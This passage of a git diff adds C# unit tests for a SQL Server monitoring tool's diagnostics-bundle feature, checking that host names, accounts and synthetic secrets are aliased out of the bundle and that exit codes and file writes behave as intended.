+        var tree = JsonNode.Parse("""{"rows":[{"client_hostname":"omega-ws9","note":"omega-ws9 timed out"}]}""");
+        a.Harvest(tree);
+        Assert.DoesNotContain("omega-ws9", a.AliasTree(tree)!.ToJsonString(), StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Verifier_CatchesAGluedName_AndForcesTheNoBoundaryPass()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, "zeta-07");
+        var root = (JsonObject)a.AliasTree(JsonNode.Parse("""{"sections":{"x":{"msg":"zeta-07x failed"}}}"""))!;
+        Assert.Contains("zeta-07x", root.ToJsonString(), StringComparison.Ordinal);
+        var (leaks, text) = a.Finish(root, DiagnosticsBundle.WriteOptions);
+        Assert.Empty(leaks);
+        Assert.DoesNotContain("zeta-07", text!, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Verifier_ChecksTheJsonUnescapedText()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, "omega-store");
+        /* Built so the name appears only after a \u escape is decoded: the tree holds the decoded string. */
+        var root = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["msg"] = "omega\u002Dstore up" } } };
+        var (leaks, text) = a.Finish(root, DiagnosticsBundle.WriteOptions);
+        Assert.Empty(leaks);
+        Assert.DoesNotContain("omega-store", text!, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void KeptNames_ArePinned()
+    {
+        Assert.Equal(
+            new[] { "master", "model", "msdb", "tempdb", "distribution", "rdsadmin", "postgres", "template0", "template1" },
+            BundleAliaser.KeptNames.Take(9).ToArray());
+        Assert.True(BundleAliaser.IsKept("MSDB"));
+    }
+
+    [Fact]
+    public void FirstLabelWords_AreTheServiceLogsListenerAndProxyWords_AndAreNotKeptNames()
+    {
+        Assert.Equal(new[] { "mcp", "web", "dashboard", "proxy" }, BundleAliaser.KeptFirstLabels);
+        foreach (var word in BundleAliaser.KeptFirstLabels)
+        {
+            Assert.True(BundleAliaser.IsKeptFirstLabel(word.ToUpperInvariant()));
+            Assert.DoesNotContain(word, BundleAliaser.KeptNames);
+            Assert.False(BundleAliaser.IsKept(word));
+        }
+    }
+
+    /* The service log says "MCP server", "Web dashboard", "the dashboard", "reverse proxy" and mcp.network.allowFrom. A
+       configured host name whose first label is one of those words is aliased whole, with its domain, and the log's
+       own words stay. */
+    [Theory]
+    [InlineData("mcp.corp.example.test", "MCP server is LAN-exposed WITHOUT TLS, and mcp.network.allowFrom bounds only who can route to the port")]
+    [InlineData("web.corp.example.test", "Web dashboard is LAN-exposed WITHOUT TLS, and web.network.allowFrom bounds only who can route to the port")]
+    [InlineData("dashboard.corp.example.test", "The dashboard stops serving when it lapses")]
+    [InlineData("proxy.corp.example.test", "Front the port with a TLS-terminating reverse proxy")]
+    public void AHostNameThatStartsWithAListenerWord_IsAliasedWhole_AndTheServiceLogsOwnWordsSurvive(string hostName, string productText)
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Host, hostName);
+
+        Assert.Equal(productText + "; clients connect to host-1", a.Alias(productText + "; clients connect to " + hostName));
+        Assert.Equal("domain-1", a.Alias("corp.example.test"));
+    }
+
+    /* The words are skipped only as a host name's first label. A server, a database or a host that is literally called
+       one of them is a name like any other and is aliased, even though that also rewrites the same word in the log. */
+    [Theory]
+    [InlineData("Database", "dashboard", "db-1")]
+    [InlineData("Server", "web", "server-1")]
+    [InlineData("Server", "mcp", "server-1")]
+    [InlineData("Host", "proxy", "host-1")]
+    public void ANameThatIsAListenerWordOnItsOwn_IsAliased(string kind, string name, string alias)
+    {
+        var a = new BundleAliaser();
+        a.AddName(Enum.Parse<AliasKind>(kind), name);
+
+        Assert.Equal("the " + alias + " is down", a.Alias("the " + name + " is down"));
+    }
+
+    [Fact]
+    public void ADatabaseNamedDashboard_IsAliasedAcrossTheBundle()
+    {
+        var a = new BundleAliaser();
+        var tree = JsonNode.Parse("""{"r":[{"database_name":"dashboard","note":"the dashboard database is large"}]}""");
+        a.Harvest(tree);
+        var text = a.AliasTree(tree)!.ToJsonString();
+
+        Assert.DoesNotContain("dashboard", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("the db-1 database is large", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AMonitoredServerNamedWeb_IsAliasedByNameAndById()
+    {
+        var a = new BundleAliaser();
+        Assert.Equal("server-1", a.AddServer(3, "web"));
+
+        Assert.Equal("server-1", a.AliasForServerId(3));
+        Assert.Equal("server-1 is down", a.Alias("web is down"));
+    }
+
+    [Fact]
+    public void AQuotedAccountWhoseDomainIsAListenerWord_HasBothHalvesAliased()
+    {
+        var a = new BundleAliaser();
+
+        Assert.Equal(@"Login failed for user 'domain-1\login-1'.", a.Alias(@"Login failed for user 'WEB\svc_zeta'."));
+    }
+
+    [Fact]
+    public void ProductRoles_AreKept_AndOtherRolesAreAliased()
+    {
+        var a = new BundleAliaser();
+        var tree = JsonNode.Parse("""{"r":[{"role_name":"viewer"},{"role_name":"betaowner"}]}""");
+        a.Harvest(tree);
+        var text = a.AliasTree(tree)!.ToJsonString();
+        Assert.Contains("viewer", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("betaowner", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AliasMap_IsOnlyAvailableThroughItsAccessor()
+    {
+        var a = Seeded();
+        Assert.Contains(a.AliasMapLines(), l => l.StartsWith("server-1\t", StringComparison.Ordinal));
+        var (_, text) = a.Finish(new JsonObject { ["sections"] = new JsonObject { ["x"] = a.Alias("zeta-07") } }, DiagnosticsBundle.WriteOptions);
+        Assert.DoesNotContain("\t", text!.Replace("\\t", string.Empty, StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs b/Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs
new file mode 100644
index 0000000000..1fccc435ca
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs
@@ -0,0 +1,166 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Net;
+using System.Net.Sockets;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the exit codes that need no live store.</summary>
+public sealed class DiagnosticsBundleExitCodeTests
+{
+    private static int GetClosedPort()
+    {
+        var listener = new TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+        listener.Stop();
+        return port;
+    }
+
+    private static string WriteConfig(DirectoryInfo root, int port)
+    {
+        var path = Path.Combine(root.FullName, "darling.json");
+        File.WriteAllText(path, $$"""
+            {
+              "postgres": { "connectionString": "Host=127.0.0.1;Port={{port}};Username=betaowner;Password=Zq8-secretvalue;Database=darlingtest;Timeout=2" },
+              "servers": [ { "name": "alpha-sql-01", "host": "alpha-sql-01.example.test" } ]
+            }
+            """);
+        return path;
+    }
+
+    private static async Task<(int Exit, string Out, string Err)> RunAsync(params string[] args)
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.DiagnosticsBundleAsync(args, output, error, CancellationToken.None);
+        return (exit, output.ToString(), error.ToString());
+    }
+
+    [Fact]
+    public async Task ConfigParseError_ExitsOne_AndWritesNoFile()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-cfgerr-");
+        try
+        {
+            var config = Path.Combine(root.FullName, "darling.json");
+            await File.WriteAllTextAsync(config, "{ not valid json");
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, _, err) = await RunAsync(bundle, "--config", config);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError, exit);
+            Assert.Contains("Could not load configuration", err, StringComparison.Ordinal);
+            Assert.False(File.Exists(bundle));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task UnreachableStore_ExitsTwo_AndWritesAReducedBundleWithTheHostAliased()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-unreach-");
+        try
+        {
+            var logs = Directory.CreateDirectory(Path.Combine(root.FullName, "logs"));
+            File.WriteAllText(
+                Path.Combine(logs.FullName, $"darling-service_{DateTime.Now:yyyyMMdd}.log"),
+                $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Store] could not reach alpha-sql-01.example.test\n");
+            var config = WriteConfig(root, GetClosedPort());
+            var bundle = Path.Combine(root.FullName, "b.json");
+
+            var (exit, _, _) = await RunAsync(bundle, "--config", config, "--log-dir", logs.FullName);
+
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            var text = await File.ReadAllTextAsync(bundle);
+            var tree = JsonNode.Parse(text)!;
+            Assert.Equal("store_unreachable", tree["sections"]!["store_unreachable"]!["status"]!.GetValue<string>());
+            Assert.Equal("ok", tree["sections"]!["service_log"]!["status"]!.GetValue<string>());
+            Assert.NotNull(tree["sections"]!["config_shape"]);
+            foreach (var forbidden in new[] { "127.0.0.1", "alpha-sql-01", "example.test", "betaowner", "Zq8-secretvalue" })
+            {
+                Assert.DoesNotContain(forbidden, text, StringComparison.OrdinalIgnoreCase);
+            }
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task ExistingFile_WithoutForce_ExitsFour_AndIsLeftAlone()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-exists-");
+        try
+        {
+            var config = WriteConfig(root, GetClosedPort());
+            var bundle = Path.Combine(root.FullName, "b.json");
+            await File.WriteAllTextAsync(bundle, "keep me");
+            var (exit, _, err) = await RunAsync(bundle, "--config", config);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.OutputError, exit);
+            Assert.Contains("--force", err, StringComparison.Ordinal);
+            Assert.Equal("keep me", await File.ReadAllTextAsync(bundle));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task MissingOutputDirectory_ExitsFour()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-nodir-");
+        try
+        {
+            var config = WriteConfig(root, GetClosedPort());
+            var (exit, _, _) = await RunAsync(Path.Combine(root.FullName, "no-such-dir", "b.json"), "--config", config);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.OutputError, exit);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task AliasMap_IsOptIn_StartsWithDoNotAttach_AndIsNotInTheBundle()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-map-");
+        try
+        {
+            var config = WriteConfig(root, GetClosedPort());
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var map = Path.Combine(root.FullName, "map.txt");
+            var (exit, _, _) = await RunAsync(bundle, "--config", config, "--log-dir", root.FullName, "--alias-map", map);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            var first = (await File.ReadAllLinesAsync(map))[0];
+            Assert.StartsWith("DO NOT ATTACH", first, StringComparison.Ordinal);
+            Assert.DoesNotContain("DO NOT ATTACH", await File.ReadAllTextAsync(bundle), StringComparison.Ordinal);
+            Assert.Contains("alpha-sql-01", await File.ReadAllTextAsync(map), StringComparison.Ordinal);
+
+            var noMapBundle = Path.Combine(root.FullName, "c.json");
+            await RunAsync(noMapBundle, "--config", config, "--log-dir", root.FullName);
+            Assert.Single(Directory.GetFiles(root.FullName, "map*"));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs b/Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs
new file mode 100644
index 0000000000..9392e2a9a7
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs
@@ -0,0 +1,553 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the config seeding, section shaping, output checks and exit-2 paths. Names and secrets are synthetic.</summary>
+public sealed class DiagnosticsBundleHardeningTests
+{
+    private static int ClosedPort()
+    {
+        var listener = new TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+        listener.Stop();
+        return port;
+    }
+
+    /* A config must list at least one server, so the file names one decoy; the registry-only server the tests worry about is not in it. */
+    private static string WriteConfig(DirectoryInfo root, string serversJson = """[ { "name": "alpha-sql-01", "host": "alpha-sql-01.example.test" } ]""")
+    {
+        var path = Path.Combine(root.FullName, "darling.json");
+        File.WriteAllText(path, $$"""
+            {
+              "postgres": { "connectionString": "Host=127.0.0.1;Port={{ClosedPort()}};Username=betaowner;Password=Zq8-secretvalue;Database=darlingtest;Timeout=2" },
+              "servers": {{serversJson}}
+            }
+            """);
+        return path;
+    }
+
+    private static string WriteLog(DirectoryInfo root, string line)
+    {
+        var logs = Directory.CreateDirectory(Path.Combine(root.FullName, "logs"));
+        File.WriteAllText(Path.Combine(logs.FullName, $"darling-service_{DateTime.Now:yyyyMMdd}.log"), $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Store] {line}\n");
+        return logs.FullName;
+    }
+
+    private static async Task<(int Exit, string Err)> RunAsync(params string[] args)
+    {
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.DiagnosticsBundleAsync(args, new StringWriter(), error, CancellationToken.None);
+        return (exit, error.ToString());
+    }
+
+    /* ── exit 2: the registry cannot be read, so the service log carries no text ── */
+
+    [Fact]
+    public async Task StoreDown_ServiceLogIsCountsOnly_SoARegistryOnlyServerNameCannotReachTheFile()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-down-");
+        try
+        {
+            var logs = WriteLog(root, "collector failed for zeta-07 at 203.0.113.9");
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, _) = await RunAsync(bundle, "--config", WriteConfig(root), "--log-dir", logs);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            var text = await File.ReadAllTextAsync(bundle);
+            Assert.DoesNotContain("zeta-07", text, StringComparison.OrdinalIgnoreCase);
+            var log = JsonNode.Parse(text)!["sections"]!["service_log"]!;
+            Assert.True(log["text_withheld"]!.GetValue<bool>());
+            Assert.Null(log["entries"]);
+            Assert.Equal(1, log["counts"]![0]!["count"]!.GetValue<int>());
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task StoreDown_TheUnreachableSection_CarriesNoSentence_OnlyFixedCodes()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-downmsg-");
+        try
+        {
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+
+            /* The store's own help text quotes the data directory; an error message quotes an address and an account nobody registered. */
+            var error = new InvalidOperationException(@"The managed store credential (E:\qxclient\darling\pg\store.cred) does not exist; connect to 198.51.100.9 failed for user 'QXOTHER\svc_unseen'");
+            var outcome = await DiagnosticsBundleRunner.BuildAsync(
+                options, config, null, null, error, "missing_store_credential", CancellationToken.None);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, outcome.ExitCode);
+            foreach (var forbidden in new[] { "qxclient", "198.51.100.9", "QXOTHER", "svc_unseen", "store.cred" })
+            {
+                Assert.DoesNotContain(forbidden, outcome.Text!, StringComparison.OrdinalIgnoreCase);
+            }
+
+            var section = JsonNode.Parse(outcome.Text!)!["sections"]!["store_unreachable"]!.AsObject();
+            Assert.Equal("missing_store_credential", section["reason"]!.GetValue<string>());
+            Assert.Null(section["message"]);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task StoreDown_ASocketFailure_CarriesTheReasonAndTheSocketErrorName()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-downsock-");
+        try
+        {
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+            var error = new Npgsql.NpgsqlException("Failed to connect to 198.51.100.9:5432", new SocketException((int)SocketError.ConnectionRefused));
+            var outcome = await DiagnosticsBundleRunner.BuildAsync(options, config, null, null, error, null, CancellationToken.None);
+            var section = JsonNode.Parse(outcome.Text!)!["sections"]!["store_unreachable"]!.AsObject();
+            Assert.Equal("connect_failed", section["reason"]!.GetValue<string>());
+            Assert.Equal("ConnectionRefused", section["socket_error"]!.GetValue<string>());
+            Assert.DoesNotContain("198.51.100.9", outcome.Text!, StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task StoreDown_WithIncludeLogText_WarnsOnStderrAndInTheManifest()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-downtext-");
+        try
+        {
+            var logs = WriteLog(root, "collector failed for plain text");
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, err) = await RunAsync(bundle, "--config", WriteConfig(root), "--log-dir", logs, "--include-log-text");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            Assert.Contains("cannot be aliased", err, StringComparison.Ordinal);
+            Assert.Contains("--include-log-text", err, StringComparison.Ordinal);
+            var tree = JsonNode.Parse(await File.ReadAllTextAsync(bundle))!;
+            Assert.Contains(tree["manifest"]!["notes"]!.AsArray(), n => n!.GetValue<string>().Contains("cannot be aliased", StringComparison.Ordinal));
+            Assert.NotEmpty(tree["sections"]!["service_log"]!["entries"]!.AsArray());
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task StoreDown_ServerOption_SaysItWasIgnored_OnStderrAndInTheSection()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-downserver-");
+        try
+        {
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, err) = await RunAsync(bundle, "--config", WriteConfig(root), "--log-dir", root.FullName, "--server", "alpha-01");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            Assert.Contains("--server was ignored", err, StringComparison.Ordinal);
+            var tree = JsonNode.Parse(await File.ReadAllTextAsync(bundle))!;
+            Assert.Contains("--server was ignored", tree["sections"]!["store_unreachable"]!["server_scope"]!.GetValue<string>(), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /* ── the alias map ── */
+
+    [Fact]
+    public async Task AliasMap_SamePathAsTheBundle_ExitsOne_AndWritesNothing()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-samemap-");
+        try
+        {
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, err) = await RunAsync(bundle, "--config", WriteConfig(root), "--alias-map", Path.Combine(root.FullName, ".", "B.JSON".ToLowerInvariant()));
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError, exit);
+            Assert.Contains("different file", err, StringComparison.Ordinal);
+            Assert.False(File.Exists(bundle));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task AliasMap_ExistingFile_NeedsForce()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-mapexists-");
+        try
+        {
+            var map = Path.Combine(root.FullName, "map.txt");
+            await File.WriteAllTextAsync(map, "keep me");
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var (exit, err) = await RunAsync(bundle, "--config", WriteConfig(root), "--alias-map", map);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError, exit);
+            Assert.Contains("--force", err, StringComparison.Ordinal);
+            Assert.Equal("keep me", await File.ReadAllTextAsync(map));
+            Assert.False(File.Exists(bundle));
+
+            var (forced, _) = await RunAsync(bundle, "--config", WriteConfig(root), "--log-dir", root.FullName, "--alias-map", map, "--force");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, forced);
+            Assert.StartsWith("DO NOT ATTACH", (await File.ReadAllLinesAsync(map))[0], StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /* ── argument nits ── */
+
+    [Fact]
+    public void ParseArgs_PathEndingInADot_GetsOneDotJson_AndIncludeLogTextIsRead()
+    {
+        Assert.Equal("out.json", DiagnosticsBundle.ParseArgs(new[] { "out." }).Options!.OutputPath);
+        var options = DiagnosticsBundle.ParseArgs(new[] { "out", "--include-log-text" }).Options!;
+        Assert.True(options.IncludeLogText);
+        Assert.False(DiagnosticsBundle.ParseArgs(new[] { "out" }).Options!.IncludeLogText);
+    }
+
+    /* ── the temp file ── */
+
+    [Fact]
+    public void WriteAtomically_UsesARandomTempName_LeavesNothingBehind_AndDoesNotFollowAPlantedFile()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-write-");
+        try
+        {
+            var path = Path.Combine(root.FullName, "b.json");
+            File.WriteAllText(path + ".tmp", "planted");
+            Assert.Null(DiagnosticsBundle.WriteAtomically(path, "hello", force: false));
+            Assert.Equal("hello", File.ReadAllText(path));
+            Assert.Equal("planted", File.ReadAllText(path + ".tmp"));
+            Assert.Equal(2, root.GetFiles().Length);
+
+            /* An existing target without force fails the move and removes the temp file. */
+            Assert.NotNull(DiagnosticsBundle.WriteAtomically(path, "other", force: false));
+            Assert.Equal("hello", File.ReadAllText(path));
+            Assert.Equal(2, root.GetFiles().Length);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /* ── fleet tags, engine keys, alias-then-cut ── */
+
+    [Fact]
+    public void FleetOverview_TagsBecomeACount_WithNoNames()
+    {
+        var fleet = JsonNode.Parse("""{"total":2,"tags":[{"id":1,"name":"ClientAlphaTeam","parent_id":null},{"id":2,"name":"ClientBetaTeam","parent_id":1}]}""");
+        var shaped = DiagnosticsBundleRunner.ShapeFleetOverview(fleet)!;
+        Assert.Equal(2, shaped["tags"]!["count"]!.GetValue<int>());
+        Assert.DoesNotContain("Client", shaped.ToJsonString(), StringComparison.Ordinal);
+        Assert.Equal(2, shaped["total"]!.GetValue<int>());
+    }
+
+    [Fact]
+    public void ConfigShape_ServersByEngine_IsKeyedByTheParsedEngine_NeverByConfigText()
+    {
+        var config = new DarlingConfig
+        {
+            Servers =
+            {
+                new MonitoredServer { Name = "a", Engine = "zetacorp-special" },
+                new MonitoredServer { Name = "b", Engine = "Aurora" },
+                new MonitoredServer { Name = "c" },
+            },
+        };
+        var shape = DiagnosticsBundle.BuildConfigShape(config);
+        Assert.DoesNotContain("zetacorp", shape.ToJsonString(), StringComparison.OrdinalIgnoreCase);
+        var engines = shape["servers_by_engine"]!.AsObject();
+        Assert.Equal(2, engines["sqlserver"]!.GetValue<int>());
+        Assert.Equal(1, engines["postgresql"]!.GetValue<int>());
+    }
+
+    [Fact]
+    public void ServiceLogText_IsAliasedWhole_BeforeItIsCut_SoANameAcrossTheCutIsNotLeftAsAPrefix()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Host, "sql01.contoso-corp.example.test");
+        var t = DateTime.Now;
+        var cut = DiagnosticsBundleServiceLog.MaxEntryChars;
+        var message = new string('x', cut - 17) + " sql01.contoso-corp.example.test failed";
+        var log = $"{t:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Cat] {message}";
+        var entries = DiagnosticsBundleServiceLog.Parse(log, false, t.AddHours(-1), DiagnosticsBundleServiceLog.AliasInputChars);
+        var section = new JsonObject
+        {
+            ["status"] = "ok",
+            ["entries"] = new JsonArray(new JsonObject { ["message"] = entries[0].Message }),
+        };
+
+        var sections = new[] { new BundleSection("service_log", section, false, DiagnosticsBundleRunner.CapServiceLogMessages) };
+        var (text, leaks, _) = DiagnosticsBundle.Assemble(sections, aliaser, DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+        Assert.Empty(leaks);
+        Assert.DoesNotContain("contoso", text!, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("sql01", text!, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("host-1", text!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ServiceLogRead_KeepsEnoughTextForTheAliasPass_ThroughTheRealReadPath()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-cutread-");
+        try
+        {
+            var message = new string('x', DiagnosticsBundleServiceLog.MaxEntryChars - 17) + " sql01.contoso-corp.example.test failed";
+            WriteLog(root, message);
+            var read = DiagnosticsBundleServiceLog.Read(Path.Combine(root.FullName, "logs"), "--log-dir", DateTime.Now.AddHours(-1));
+            var aliaser = new BundleAliaser();
+            aliaser.AddName(AliasKind.Host, "sql01.contoso-corp.example.test");
+            var sections = new[] { new BundleSection("service_log", read, false, DiagnosticsBundleRunner.CapServiceLogMessages) };
+            var (text, leaks, _) = DiagnosticsBundle.Assemble(sections, aliaser, DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+            Assert.Empty(leaks);
+            Assert.DoesNotContain("contoso", text!, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("sql01", text!, StringComparison.OrdinalIgnoreCase);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void StatementText_IsAliasedWhole_BeforeItIsCompacted()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Database, "gamma_orders_ledger");
+        var query = "select " + new string('c', 225) + " from gamma_orders_ledger.t";
+        var section = new JsonObject { ["cumulative"] = new JsonObject { ["statements"] = new JsonArray(new JsonObject { ["query"] = query }) } };
+        var sections = new[] { new BundleSection("store_statements", section, false, DiagnosticsBundleRunner.CompactStatementTexts) };
+        var (text, leaks, _) = DiagnosticsBundle.Assemble(sections, aliaser, DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+        Assert.Empty(leaks);
+        Assert.DoesNotContain("gamma", text!, StringComparison.OrdinalIgnoreCase);
+    }
+
+    /* ── notification identifiers and service accounts ── */
+
+    [Fact]
+    public void NotificationIdentifiers_AreSeeded_AndWebhookUrlsAreSecrets()
+    {
+        var config = new DarlingConfig();
+        config.Smtp.Host = "mail.zetacorp.example.test";
+        config.Smtp.From = "alerts@omegacorp.example.test";
+        config.Smtp.To = "ops@epsilon-ops.example.test, dba@deltaorg.example.test";
+        config.Web.PublicBaseUrl = "https://dash.gammahost.example.test:5153/";
+        config.Webhooks.SlackUrl = "https://hooks.betahooks.example.test/services/T000/B000/XXXSECRETXXX";
+        config.Webhooks.TeamsProxy = "http://proxy.thetaprox.example.test:3128";
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, config);
+        var text = aliaser.Alias(
+            "smtp mail.zetacorp.example.test from omegacorp.example.test to epsilon-ops.example.test deltaorg.example.test dash.gammahost.example.test "
+            + "hook https://hooks.betahooks.example.test/services/T000/B000/XXXSECRETXXX via proxy.thetaprox.example.test");
+        foreach (var forbidden in new[] { "zetacorp", "omegacorp", "epsilon-ops", "deltaorg", "gammahost", "betahooks", "XXXSECRET", "thetaprox" })
+        {
+            Assert.DoesNotContain(forbidden, text, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    /* ── mcp.network.hostName (#5288) ──
+       The operator types this DNS name, and the service log writes it twice: the certificate-name warning names its
+       NORMALIZED form at every start (the trailing dot dropped, an internationalized name in its ASCII form), and the
+       warning for a value that is not a bare DNS name echoes it AS WRITTEN. A bundle built from a config that sets
+       the name holds neither spelling. The warning texts below are the product's own. */
+
+    /* The service-log section as the bundle builds it: parsed, aliased whole, then checked by the output verifier. */
+    private static string BundleOfServiceLogMessages(BundleAliaser aliaser, params string[] messages)
+    {
+        var t = DateTime.Now;
+        var log = string.Join("\n", messages.Select(m => $"{t:yyyy-MM-dd HH:mm:ss.fff} [WARN ] [Mcp] {m}"));
+        var entries = DiagnosticsBundleServiceLog.Parse(log, false, t.AddHours(-1), DiagnosticsBundleServiceLog.AliasInputChars);
+        Assert.Equal(messages.Length, entries.Count);
+        var section = new JsonObject
+        {
+            ["status"] = "ok",
+            ["entries"] = new JsonArray(entries.Select(e => (JsonNode?)new JsonObject { ["message"] = e.Message }).ToArray()),
+        };
+
+        var sections = new[] { new BundleSection("service_log", section, false, DiagnosticsBundleRunner.CapServiceLogMessages) };
+        var (text, leaks, _) = DiagnosticsBundle.Assemble(sections, aliaser, DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+        Assert.Empty(leaks);
+        return text!;
+    }
+
+    [Theory]
+    [InlineData("gate.kappacorp.example.test", "kappacorp")]
